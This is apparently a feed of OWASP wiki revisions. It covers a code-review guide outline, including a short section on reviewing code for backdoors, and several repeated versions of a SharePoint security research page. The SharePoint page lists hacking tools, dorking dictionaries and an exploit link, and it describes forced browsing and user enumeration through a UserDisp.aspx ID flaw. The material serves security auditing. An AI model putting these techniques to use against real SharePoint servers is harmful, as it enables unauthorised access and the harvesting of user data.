https://www.owasp.org/index.php/CRV2_AntiPattern&lt;br /&gt;
====PHP====&lt;br /&gt;
#Author - &lt;br /&gt;
# [[CRV2_AntiPatternPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Java====&lt;br /&gt;
#Author - &lt;br /&gt;
#=&amp;gt; Searching for traditional SQL,JPA,JPSQL,Criteria,...&lt;br /&gt;
# [[CRV2_AntiPatternJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_AntiPatterndotNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Ruby====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_AntiPatternRuby|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Cold Fusion====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_AntiPatternColdFusion|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reviewing code for CSRF Issues===&lt;br /&gt;
#Author Abbas Naderi&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Reviewing_Code_for_Cross-Site_Request_Forgery]]&lt;br /&gt;
# This page needs to be deleted. [[CRV2_CSRFIssues|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===(This task has been deleted) Transactional logic / Non idempotent functions / State Changing Functions===&lt;br /&gt;
# [[CRV2_TransLogic|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reviewing code for poor logic /Business logic/Complex authorization===&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_PoorLogic|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reviewing Secure Communications===&lt;br /&gt;
====.NET Config====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_SecCommsdotNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Spring Config====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_SecCommsSpringConfig|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====HTTP Headers====&lt;br /&gt;
#Author Gary Robinson&lt;br /&gt;
# [[CRV2_SecCommsHTTPHdrs|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Tech-Stack pitfalls===&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_TechStackPitfalls|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Framework specific Issues===&lt;br /&gt;
====Spring====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesSpring|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Struts====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesStruts|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Drupal====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesDrupal|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Ruby on Rails====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesROR|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Django====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesDjango|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET Security / MVC====&lt;br /&gt;
#Author Johanna Curiel, Eoin Keary&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesdotNetMVC|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Security in ASP.NET applications====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Strongly Named Assemblies=====&lt;br /&gt;
#Author Johanna Curiel, Larry Conklin&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetStrongAssembiles|Put content here]]&lt;br /&gt;
&lt;br /&gt;
======Round Tripping======&lt;br /&gt;
# Author - Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetRT|Put content here]]&lt;br /&gt;
&lt;br /&gt;
======How to prevent Round tripping======&lt;br /&gt;
# Author - Open&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetRTPrevention|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Setting the right Configurations=====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetConfigs|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Authentication Options=====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetAuth|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Code Review for Managed Code - .Net 1.0 and up=====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetManagedCode|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Using OWASP Top 10 as your guideline=====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPTop10|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Code review for Unsafe Code (C#)=====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetUnsafeCode|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====PHP Specific Issues====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Classic ASP====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPClassic|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====C#====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesCsharp|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====C/C++====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesCplusplus|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Objective C====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesObectiveC|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Java====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Android====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesAndroid|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Coldfusion====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesColdfusion|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====CodeIgniter====&lt;br /&gt;
&lt;br /&gt;
# Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesCodeIgniter|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=Security code review for Agile development=&lt;br /&gt;
#Author Carlos Pantelides&lt;br /&gt;
# [[CRV2_CodeReviewAgile|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=Code Review for Backdoors=&lt;br /&gt;
#Author Yiannis Pavlosoglou&lt;br /&gt;
The review of a piece of source code for backdoors has one excruciating difference to a traditional source code review: The fact that someone with 'commit' or 'write' access to the source code repository has malicious intentions spanning well beyond their current developer remit. Because of this difference, a code review for backdoors is often seen as a very specialised review and can sometimes be considered not a code review per say. &lt;br /&gt;
&lt;br /&gt;
A traditional code review has the objective of determining if a vulnerability is present within the code, further to this if the vulnerability is exploitable and under what conditions. A code review for backdoors has the objective to determine if a certain portion of the codebase is carrying code that is unnecessary for the logic and implementation of the use cases it serves.&lt;br /&gt;
&lt;br /&gt;
Further to this, the reviewer, looks for the trigger points of that logic. Typical examples include a branch statement going off to a part of assembly or obfuscated code. The reviewer is looking for patterns of abnormality in terms of code segments that would not be expected to be present under normal conditions. &lt;br /&gt;
&lt;br /&gt;
An excellent introduction into how to look for rootkits in the Java programming language can be found [https://www.blackhat.com/presentations/bh-usa-09/WILLIAMS/BHUSA09-Williams-EnterpriseJavaRootkits-PAPER.pdf  here]. In this paper J. Williams covers a variety of backdoor examples including file system access through a web server, as well as time based attacks involving a key aspect of malicious functionality been made available after a certain amount of time. Such examples form the foundation of what any reviewer for back doors should try to automate, regardless of the language in which the review is taking place. &lt;br /&gt;
 &lt;br /&gt;
=Code Review Tools=&lt;br /&gt;
https://www.owasp.org/index.php/CRV2_CodeReviewTools&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Code_review_V2_Table_of_Contents&amp;diff=206047</id>
		<title>OWASP Code review V2 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Code_review_V2_Table_of_Contents&amp;diff=206047"/>
				<updated>2016-01-08T01:27:28Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Glenn 'devalias' Grant moved page OWASP Code review V2 Table of Contents to OWASP Code Review V2 Table of Contents: Correct capitalisation as used on category page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[OWASP Code Review V2 Table of Contents]]&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Research_for_SharePoint_(MOSS)&amp;diff=163031</id>
		<title>Research for SharePoint (MOSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Research_for_SharePoint_(MOSS)&amp;diff=163031"/>
				<updated>2013-11-11T22:39:36Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Added SharePoint Enumerator (Professionally Evil)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page contains research notes on Microsoft's SharePoint MOSS and WSS&lt;br /&gt;
&lt;br /&gt;
== Resources==&lt;br /&gt;
&lt;br /&gt;
==== Microsoft resources====&lt;br /&gt;
* [http://office.microsoft.com/download/afile.aspx?AssetID=AM102437421033 Security Architecture for SharePoint Products and Technologies] (Word Doc)&lt;br /&gt;
* [http://sharepoint.microsoft.com SharePoint Community Portal]&lt;br /&gt;
* [http://technet.microsoft.com/en-us/library/cc262619.aspx Downloadable book: Security for Office SharePoint Server 2007] - [http://go.microsoft.com/fwlink/?LinkID=94375 link to 277 page Doc file]&lt;br /&gt;
* [http://blogs.msdn.com/arpans/archive/2008/05/09/sharepoint-end-user-security.aspx SharePoint End User Security]&lt;br /&gt;
&lt;br /&gt;
==== Other Resources and Documentation====&lt;br /&gt;
* [http://www.finalcandidate.com/en/tandp/Pages/SharePointSecurityConcepts.aspx SharePoint Security Concepts] - contains a number of other links to more material&lt;br /&gt;
* [http://blogs.gartner.com/neil_macdonald/2009/02/25/sharepoint-security-best-practices/ SharePoint Security Best Practices] - $995 Gartner report &lt;br /&gt;
* [http://sharepointmagazine.net/technical/administration/microsoft-office-sharepoint-server-2007-security-model Microsoft Office SharePoint Server 2007 Security Model]&lt;br /&gt;
* [http://www.cmswire.com/cms/enterprise-cms/sharepoint-security-concerns-simply-a-lack-of-governance-003551.php SharePoint Security Concerns Simply a Lack of Governance?]&lt;br /&gt;
* [http://www.cmswire.com/cms/enterprise-cms/governance-key-for-sharepoint-implementations-003123.php Governance Key for SharePoint Implementations]&lt;br /&gt;
&lt;br /&gt;
==== Presentations ====&lt;br /&gt;
* HackCon 2011 - Oslo, Norway - February 16, 2011 : [http://www.stachliu.com/wp-content/uploads/2011/03/HackCon%202011%20-%20SharePoint%20Security%20-%20Feb2011.pdf SharePoint Security: Advanced SharePoint Security Tips and Tools]&lt;br /&gt;
* OWASP Houston Chapter - August 12, 2009 :  [http://owasp.icrew.org/downloads/OWASP_ShohnTrojacek.pdf SharePoint Auditing and Penetration Testing] Presentation by:  Shohn Trojacek&lt;br /&gt;
* from Denim group:&lt;br /&gt;
** [http://www.denimgroup.com/media/pdfs/DenimGroup_SecuringSharePoint_TASSCCTEC2009_20090326.pdf Securing SharePoint (PDF Format)] - TASSCC Technology Education Conference in Austin, March 26, 2009&lt;br /&gt;
** [http://www.denimgroup.com/media/pdfs/DenimGroup_SecuringSharePoint_TRISC_20090324.pdf Securing Sharepoint (PDF Format)] - Texas Regional Infrastructure Security Conference (TRISC) in Austin, March 24, 2009&lt;br /&gt;
** [http://sp.meetdux.com/archive/2009/07/08/a-primer-to-sharepoint-security.aspx A Primer to SharePoint Security] - video&lt;br /&gt;
&lt;br /&gt;
==== Other interesting resources====&lt;br /&gt;
* [http://www.indeed.com.au/jobs?q=Moss+Security&amp;amp;l= MOSS Security jobs (in Australia)]&lt;br /&gt;
* [http://www.cmswire.com/news/topic/sharepoint Articles on CMSWire about SharePoint]&lt;br /&gt;
&lt;br /&gt;
==== Other Blogs and Articles ====&lt;br /&gt;
* [http://www.darkreading.com/security/app-security/showArticle.jhtml?articleID=212903345 Microsoft SharePoint: A Weak Link In Enterprise Security?] - Dark Reading&lt;br /&gt;
&lt;br /&gt;
==== Security related technical articles ====&lt;br /&gt;
* [http://www.sharepointsecurity.com/sharepoint/sharepoint-security/how-to-programmatically-disable-code-access-security/ How to Programmatically Disable Code Access Security]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Published Security issues ==&lt;br /&gt;
&lt;br /&gt;
=== SharePoint related vulnerabilities and its status ===&lt;br /&gt;
* {Note: Add MSRC case}&lt;br /&gt;
* http://milw0rm.com/exploits/8704 &amp;amp; http://milw0rm.com/sploits/2009-IIS-Advisory.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MOSS Security related WebParts, Tools  &amp;amp; services ==&lt;br /&gt;
&lt;br /&gt;
==== Open Source ====&lt;br /&gt;
* From CodePlex (see more on this search for [http://www.codeplex.com/site/search?ProjectSearchText=Sharepoint%20Security SharePoint Security]&lt;br /&gt;
** [http://securitytemplates.codeplex.com/ SharePoint Security Templates] (CodePlex)&lt;br /&gt;
** [http://spsecurity.codeplex.com/ SharePoint Security Configuration Feature]&lt;br /&gt;
** [http://accesschecker.codeplex.com Sharepoint Access Checker Web Part]&lt;br /&gt;
** [http://sitesecuritymgmt.codeplex.com/ Site Security Management Utility]&lt;br /&gt;
** [http://cryptocollaboration.codeplex.com/ CryptoCollaboration For SharePoint]&lt;br /&gt;
&lt;br /&gt;
==== Commercially Supported ====&lt;br /&gt;
* [http://www.sharepointsecurity.com ARB Security Solutions (www.sharepointsecurity.com)]&lt;br /&gt;
* [http://www.surety.com/Offerings/AbsoluteProof/For-MS-SharePoint.aspx AbsoluteProof for MS SharePoint] - related article [http://www.cmswire.com/cms/enterprise-cms/surety-releases-absoluteproof-for-sharepoint-002471.php Surety Releases AbsoluteProof for SharePoint]&lt;br /&gt;
* [http://www.avepoint.com/assets/pdf/Social_Security_Administration_Case_Study.pdf Sharepoint case study (marketing doc)]&lt;br /&gt;
&lt;br /&gt;
== Dangerous MOSS APIs ==&lt;br /&gt;
&lt;br /&gt;
Map the security implications of MOSS APIs, for example:&lt;br /&gt;
*  which APIs (if badly used)are vulnerable to: XSS, CSRF, SQL Injection&lt;br /&gt;
* configuration settings that have security implications&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== SharePoint Hacking ==&lt;br /&gt;
==== SharePoint Hacking Tools ====&lt;br /&gt;
* [http://extensions.professionallyevil.com/beef.php SharePoint Enumerator | Professionally Evil] - This is a collection of 4 modules that help enumerate the SharePoint server the victim is connected to.&lt;br /&gt;
* [http://sparty.secniche.org/ Sparty] - MS Sharepoint and Frontpage Auditing Tool&lt;br /&gt;
* [https://github.com/toddsiegel/spscan SPScan] - SharePoint scanner and fingerprinter based on WPScan&lt;br /&gt;
* [http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/ Stach &amp;amp; Liu's SharePoint Hacking Diggity Project] - SharePoint hacking tools project page.  Currently includes such hacking tools as:&lt;br /&gt;
** [http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/#SharePoint%20-%20GoogleDiggity%20Dictionary%20File SharePoint – GoogleDiggity Dictionary File] - New GoogleDiggity input dictionary file containing 118 queries that allow users to uncover SharePoint specific vulnerabilities exposed via the Google search engine. This dictionary helps assessors locate exposures of common SharePoint administrative pages, web services, and site galleries that an organization typically would not want to be made available to the public, let alone indexed by Google.&lt;br /&gt;
** [http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/#SharePointURLBrute SharePointURLBrute] - SharePointURLBrute is a new SharePoint hacking utility developed to help assessors quickly test user access to 99 common SharePoint administrative pages (e.g. “Add Users” page -&amp;gt; /_layouts/aclinv.aspx) by automating forceful browsing attacks.&lt;br /&gt;
** [http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/#SharePoint%20UserDispEnum SharePoint UserDispEnum] - UserDispEnum is a new SharePoint user enumeration tool that exploits insecure access controls to the /_layouts/UserDisp.aspx?ID=1 page. This utility cycles through the integer ID values from 1 onward to identify valid users, account names, and other related profile information that can be easily extracted from the SharePoint user profiles.&lt;br /&gt;
** [http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/#SharePoint%20DLP%20Tools SharePoint DLP Tools] - COMING SOON – Stach &amp;amp; Liu data loss prevention (DLP) tools for Microsoft SharePoint. SharePoint DLP Tools utilize administrative web services to help automate the searching of SharePoint files and lists for SSNs, credit card numbers, passwords, and other common information disclosures.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== SharePoint Hacking Presentations ====&lt;br /&gt;
* '''2008'''&lt;br /&gt;
** [http://www.youtube.com/watch?v=DYudvh9cfZM hak5 - Episode 407 - Toorcon 2008: Robin Wood, Dan Griffin] - see 11:10 minute mark in video for interview with Dan Griffin about SharePoint Hacking.&lt;br /&gt;
* '''2013'''&lt;br /&gt;
** [http://www.youtube.com/watch?feature=player_embedded&amp;amp;v=AAObW2fcB_s TMI: Assessing and Exploiting SharePoint at DerbyCon 3.0]&lt;br /&gt;
** [https://media.blackhat.com/us-13/Arsenal/us-13-Sood-Sparty-Slides.pdf Sparty - Blackhat USA 2013] Sparty : A Frontpage and Sharepoint Auditing Tool&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== WebParts Security ==&lt;br /&gt;
&lt;br /&gt;
* Security ratings &amp;amp; mappings of MOSS Deployed Web Parts&lt;br /&gt;
* Security ratings &amp;amp; mappings of 3rd Part Web Parts&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Research_for_SharePoint_(MOSS)&amp;diff=162926</id>
		<title>Research for SharePoint (MOSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Research_for_SharePoint_(MOSS)&amp;diff=162926"/>
				<updated>2013-11-11T03:33:16Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Added tool (SPScan)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page contains research notes on Microsoft's SharePoint MOSS and WSS&lt;br /&gt;
&lt;br /&gt;
== Resources==&lt;br /&gt;
&lt;br /&gt;
==== Microsoft resources====&lt;br /&gt;
* [http://office.microsoft.com/download/afile.aspx?AssetID=AM102437421033 Security Architecture for SharePoint Products and Technologies] (Word Doc)&lt;br /&gt;
* [http://sharepoint.microsoft.com SharePoint Community Portal]&lt;br /&gt;
* [http://technet.microsoft.com/en-us/library/cc262619.aspx Downloadable book: Security for Office SharePoint Server 2007] - [http://go.microsoft.com/fwlink/?LinkID=94375 link to 277 page Doc file]&lt;br /&gt;
* [http://blogs.msdn.com/arpans/archive/2008/05/09/sharepoint-end-user-security.aspx SharePoint End User Security]&lt;br /&gt;
&lt;br /&gt;
==== Other Resources and Documentation====&lt;br /&gt;
* [http://www.finalcandidate.com/en/tandp/Pages/SharePointSecurityConcepts.aspx SharePoint Security Concepts] - contains a number of other links to more material&lt;br /&gt;
* [http://blogs.gartner.com/neil_macdonald/2009/02/25/sharepoint-security-best-practices/ SharePoint Security Best Practices] - $995 Gartner report &lt;br /&gt;
* [http://sharepointmagazine.net/technical/administration/microsoft-office-sharepoint-server-2007-security-model Microsoft Office SharePoint Server 2007 Security Model]&lt;br /&gt;
* [http://www.cmswire.com/cms/enterprise-cms/sharepoint-security-concerns-simply-a-lack-of-governance-003551.php SharePoint Security Concerns Simply a Lack of Governance?]&lt;br /&gt;
* [http://www.cmswire.com/cms/enterprise-cms/governance-key-for-sharepoint-implementations-003123.php Governance Key for SharePoint Implementations]&lt;br /&gt;
&lt;br /&gt;
==== Presentations ====&lt;br /&gt;
* HackCon 2011 - Oslo, Norway - February 16, 2011 : [http://www.stachliu.com/wp-content/uploads/2011/03/HackCon%202011%20-%20SharePoint%20Security%20-%20Feb2011.pdf SharePoint Security: Advanced SharePoint Security Tips and Tools]&lt;br /&gt;
* OWASP Houston Chapter - August 12, 2009 :  [http://owasp.icrew.org/downloads/OWASP_ShohnTrojacek.pdf SharePoint Auditing and Penetration Testing] Presentation by:  Shohn Trojacek&lt;br /&gt;
* from Denim group:&lt;br /&gt;
** [http://www.denimgroup.com/media/pdfs/DenimGroup_SecuringSharePoint_TASSCCTEC2009_20090326.pdf Securing SharePoint (PDF Format)] - TASSCC Technology Education Conference in Austin, March 26, 2009&lt;br /&gt;
** [http://www.denimgroup.com/media/pdfs/DenimGroup_SecuringSharePoint_TRISC_20090324.pdf Securing Sharepoint (PDF Format)] - Texas Regional Infrastructure Security Conference (TRISC) in Austin, March 24, 2009&lt;br /&gt;
** [http://sp.meetdux.com/archive/2009/07/08/a-primer-to-sharepoint-security.aspx A Primer to SharePoint Security] - video&lt;br /&gt;
&lt;br /&gt;
==== Other interesting resources====&lt;br /&gt;
* [http://www.indeed.com.au/jobs?q=Moss+Security&amp;amp;l= MOSS Security jobs (in Australia)]&lt;br /&gt;
* [http://www.cmswire.com/news/topic/sharepoint Articles on CMSWire about SharePoint]&lt;br /&gt;
&lt;br /&gt;
==== Other Blogs and Articles ====&lt;br /&gt;
* [http://www.darkreading.com/security/app-security/showArticle.jhtml?articleID=212903345 Microsoft SharePoint: A Weak Link In Enterprise Security?] - Dark Reading&lt;br /&gt;
&lt;br /&gt;
==== Security related technical articles ====&lt;br /&gt;
* [http://www.sharepointsecurity.com/sharepoint/sharepoint-security/how-to-programmatically-disable-code-access-security/ How to Programmatically Disable Code Access Security]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Published Security issues ==&lt;br /&gt;
&lt;br /&gt;
=== SharePoint related vulnerabilities and its status ===&lt;br /&gt;
* {Note: Add MSRC case}&lt;br /&gt;
* http://milw0rm.com/exploits/8704 &amp;amp; http://milw0rm.com/sploits/2009-IIS-Advisory.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MOSS Security related WebParts, Tools  &amp;amp; services ==&lt;br /&gt;
&lt;br /&gt;
==== Open Source ====&lt;br /&gt;
* From CodePlex (see more on this search for [http://www.codeplex.com/site/search?ProjectSearchText=Sharepoint%20Security SharePoint Security]&lt;br /&gt;
** [http://securitytemplates.codeplex.com/ SharePoint Security Templates] (CodePlex)&lt;br /&gt;
** [http://spsecurity.codeplex.com/ SharePoint Security Configuration Feature]&lt;br /&gt;
** [http://accesschecker.codeplex.com Sharepoint Access Checker Web Part]&lt;br /&gt;
** [http://sitesecuritymgmt.codeplex.com/ Site Security Management Utility]&lt;br /&gt;
** [http://cryptocollaboration.codeplex.com/ CryptoCollaboration For SharePoint]&lt;br /&gt;
&lt;br /&gt;
==== Commercially Supported ====&lt;br /&gt;
* [http://www.sharepointsecurity.com ARB Security Solutions (www.sharepointsecurity.com)]&lt;br /&gt;
* [http://www.surety.com/Offerings/AbsoluteProof/For-MS-SharePoint.aspx AbsoluteProof for MS SharePoint] - related article [http://www.cmswire.com/cms/enterprise-cms/surety-releases-absoluteproof-for-sharepoint-002471.php Surety Releases AbsoluteProof for SharePoint]&lt;br /&gt;
* [http://www.avepoint.com/assets/pdf/Social_Security_Administration_Case_Study.pdf Sharepoint case study (marketing doc)]&lt;br /&gt;
&lt;br /&gt;
== Dangerous MOSS APIs ==&lt;br /&gt;
&lt;br /&gt;
Map the security implications of MOSS APIs, for example:&lt;br /&gt;
*  which APIs (if badly used)are vulnerable to: XSS, CSRF, SQL Injection&lt;br /&gt;
* configuration settings that have security implications&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== SharePoint Hacking ==&lt;br /&gt;
==== SharePoint Hacking Tools ====&lt;br /&gt;
* [http://sparty.secniche.org/ Sparty] - MS Sharepoint and Frontpage Auditing Tool&lt;br /&gt;
* [https://github.com/toddsiegel/spscan SPScan] - SharePoint scanner and fingerprinter based on WPScan&lt;br /&gt;
* [http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/ Stach &amp;amp; Liu's SharePoint Hacking Diggity Project] - SharePoint hacking tools project page.  Currently includes such hacking tools as:&lt;br /&gt;
** [http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/#SharePoint%20-%20GoogleDiggity%20Dictionary%20File SharePoint – GoogleDiggity Dictionary File] - New GoogleDiggity input dictionary file containing 118 queries that allow users to uncover SharePoint specific vulnerabilities exposed via the Google search engine. This dictionary helps assessors locate exposures of common SharePoint administrative pages, web services, and site galleries that an organization typically would not want to be made available to the public, let alone indexed by Google.&lt;br /&gt;
** [http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/#SharePointURLBrute SharePointURLBrute] - SharePointURLBrute is a new SharePoint hacking utility developed to help assessors quickly test user access to 99 common SharePoint administrative pages (e.g. “Add Users” page -&amp;gt; /_layouts/aclinv.aspx) by automating forceful browsing attacks.&lt;br /&gt;
** [http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/#SharePoint%20UserDispEnum SharePoint UserDispEnum] - UserDispEnum is a new SharePoint user enumeration tool that exploits insecure access controls to the /_layouts/UserDisp.aspx?ID=1 page. This utility cycles through the integer ID values from 1 onward to identify valid users, account names, and other related profile information that can be easily extracted from the SharePoint user profiles.&lt;br /&gt;
** [http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/#SharePoint%20DLP%20Tools SharePoint DLP Tools] - COMING SOON – Stach &amp;amp; Liu data loss prevention (DLP) tools for Microsoft SharePoint. SharePoint DLP Tools utilize administrative web services to help automate the searching of SharePoint files and lists for SSNs, credit card numbers, passwords, and other common information disclosures.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== SharePoint Hacking Presentations ====&lt;br /&gt;
* '''2008'''&lt;br /&gt;
** [http://www.youtube.com/watch?v=DYudvh9cfZM hak5 - Episode 407 - Toorcon 2008: Robin Wood, Dan Griffin] - see 11:10 minute mark in video for interview with Dan Griffin about SharePoint Hacking.&lt;br /&gt;
* '''2013'''&lt;br /&gt;
** [http://www.youtube.com/watch?feature=player_embedded&amp;amp;v=AAObW2fcB_s TMI: Assessing and Exploiting SharePoint at DerbyCon 3.0]&lt;br /&gt;
** [https://media.blackhat.com/us-13/Arsenal/us-13-Sood-Sparty-Slides.pdf Sparty - Blackhat USA 2013] Sparty : A Frontpage and Sharepoint Auditing Tool&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== WebParts Security ==&lt;br /&gt;
&lt;br /&gt;
* Security ratings &amp;amp; mappings of MOSS Deployed Web Parts&lt;br /&gt;
* Security ratings &amp;amp; mappings of 3rd Part Web Parts&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Research_for_SharePoint_(MOSS)&amp;diff=162924</id>
		<title>Research for SharePoint (MOSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Research_for_SharePoint_(MOSS)&amp;diff=162924"/>
				<updated>2013-11-11T01:53:14Z</updated>
		
		<summary type="html">&lt;p&gt;Glenn 'devalias' Grant: Added tool (Sparty) and presentations (2013-derbycon, blackhat)&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page contains research notes on Microsoft's SharePoint MOSS and WSS&lt;br /&gt;
&lt;br /&gt;
== Resources==&lt;br /&gt;
&lt;br /&gt;
==== Microsoft resources====&lt;br /&gt;
* [http://office.microsoft.com/download/afile.aspx?AssetID=AM102437421033 Security Architecture for SharePoint Products and Technologies] (Word Doc)&lt;br /&gt;
* [http://sharepoint.microsoft.com SharePoint Community Portal]&lt;br /&gt;
* [http://technet.microsoft.com/en-us/library/cc262619.aspx Downloadable book: Security for Office SharePoint Server 2007] - [http://go.microsoft.com/fwlink/?LinkID=94375 link to 277 page Doc file]&lt;br /&gt;
* [http://blogs.msdn.com/arpans/archive/2008/05/09/sharepoint-end-user-security.aspx SharePoint End User Security]&lt;br /&gt;
&lt;br /&gt;
==== Other Resources and Documentation====&lt;br /&gt;
* [http://www.finalcandidate.com/en/tandp/Pages/SharePointSecurityConcepts.aspx SharePoint Security Concepts] - contains a number of other links to more material&lt;br /&gt;
* [http://blogs.gartner.com/neil_macdonald/2009/02/25/sharepoint-security-best-practices/ SharePoint Security Best Practices] - $995 Gartner report &lt;br /&gt;
* [http://sharepointmagazine.net/technical/administration/microsoft-office-sharepoint-server-2007-security-model Microsoft Office SharePoint Server 2007 Security Model]&lt;br /&gt;
* [http://www.cmswire.com/cms/enterprise-cms/sharepoint-security-concerns-simply-a-lack-of-governance-003551.php SharePoint Security Concerns Simply a Lack of Governance?]&lt;br /&gt;
* [http://www.cmswire.com/cms/enterprise-cms/governance-key-for-sharepoint-implementations-003123.php Governance Key for SharePoint Implementations]&lt;br /&gt;
